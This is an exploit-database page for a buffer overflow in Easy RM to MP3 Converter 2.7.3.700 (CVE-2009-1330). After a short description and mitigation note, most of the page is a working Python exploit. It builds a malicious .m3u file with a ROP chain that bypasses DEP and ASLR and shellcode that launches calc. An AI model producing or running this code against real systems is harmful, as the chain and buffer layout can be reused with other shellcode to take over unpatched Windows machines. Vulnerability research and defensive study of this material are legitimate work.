header-logo
Suggest Exploit
vendor:
Easy RM to MP3 Converter
by:
Csaba Fitzl
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Easy RM to MP3 Converter
Affected Version From: 2.7.3.700
Affected Version To: 2.7.3.700
Patch Exists: NO
Related CWE: CVE-2009-1330
CPE: a:easy_rm_to_mp3_converter:2.7.3.700
Metasploit:
Other Scripts:
Platforms Tested: Windows 7 x64
2016

Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass

The exploit allows an attacker to execute arbitrary code on a target system by creating a malicious .m3u file. This can be used to take control of the affected system and potentially gain unauthorized access. The exploit takes advantage of a buffer overflow vulnerability in the Easy RM to MP3 Converter software.

Mitigation:

The vendor has not released a patch for this vulnerability. Users are advised to avoid opening .m3u files from untrusted sources and to update to a newer version of the software if available.
Source

Exploit-DB raw data:

# Exploit Title: Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass
# Date: 2016-06-12
# Exploit Author: Csaba Fitzl
# Vendor Homepage: N/A
# Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
# Version: 2.7.3.700
# Tested on: Windows 7 x64
# CVE : CVE-2009-1330

import struct

def create_rop_chain():

	# rop chain generated with mona.py - www.corelan.be
	# added missing parts, and some optimisation by Csaba Fitzl
	rop_gadgets = [

	  #mov 1000 to EDX - Csaba
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x10025a1c,  # XOR EDX,EDX # RETN 
	  0x1002bc3d,  # MOV EAX,411 # RETN
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc24,  # ADD EAX,80 # POP EBP # RETN
	  0x41414141,  # Filler (compensate)
	  0x1002dc41,  # ADD EAX,40 # POP EBP # RETN
	  0x41414141,  # Filler (compensate)
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x10023327,  # INC EAX # RETN
	  0x10023327,  # INC EAX # RETN
	  0x10023327,  # INC EAX # RETN
	  # AT this point EAX = 0x1000
	  0x1001a788,  # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x1001bf0d, #(RVA : 0x0001bf0d) : # ADC EDX,ESI
	  0x41414141,  # Filler (compensate)
	  
	
	  0x10026d56,  # POP EAX # RETN [MSRMfilter03.dll] 
	  0x10032078,  # ptr to &VirtualAlloc() [IAT MSRMfilter03.dll]
	  0x1002e0c8,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSRMfilter03.dll]
	   
	  0x1001a788,  # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x10027c5a,  # POP EBP # RETN [MSRMfilter03.dll] 
	  0x1001b058,  # & push esp # ret  [MSRMfilter03.dll]
	  0x1002b93e,  # POP EAX # RETN [MSRMfilter03.dll] 
	  0xfffffffb,  # put delta into eax (-> put 0x00000001 into ebx)
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x10023327,  # INC EAX # RETN
	  0x10023327,  # INC EAX # RETN
	  0x1001bdee,  # PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN [MSRMfilter03.dll] 
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)

	  0x10029f74,  # POP ECX # RETN [MSRMfilter03.dll] 
	  0xffffffff,  #  
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002bc6a,  # POP EDI # RETN [MSRMfilter03.dll] 
	  0x1001c121,  # RETN (ROP NOP) [MSRMfilter03.dll]
	  0x10026f2b,  # POP EAX # RETN [MSRMfilter03.dll] 
	  0x10024004, #address to xor, it will point to the DLL's data section which is writeable. Also will work as NOP
	  0x1002bc07  # PUSHAD # XOR EAX,11005 # ADD BYTE PTR DS:[EAX],AL 

	]
	return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

buffersize = 26090

junk = "A" * buffersize

eip = '\x85\x22\x01\x10' # {pivot 8 / 0x08} :  # ADD ESP,8 # RETN

rop = create_rop_chain()

calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
 

shell = "\x90"*0x10 + calc

exploit = junk + eip + rop + shell + 'C' * (1000-len(rop)-len(shell))

filename = "list.m3u"
textfile = open(filename , 'w')
textfile.write(exploit)
textfile.close()

Navigation

Suggest Exploit

Services By CQR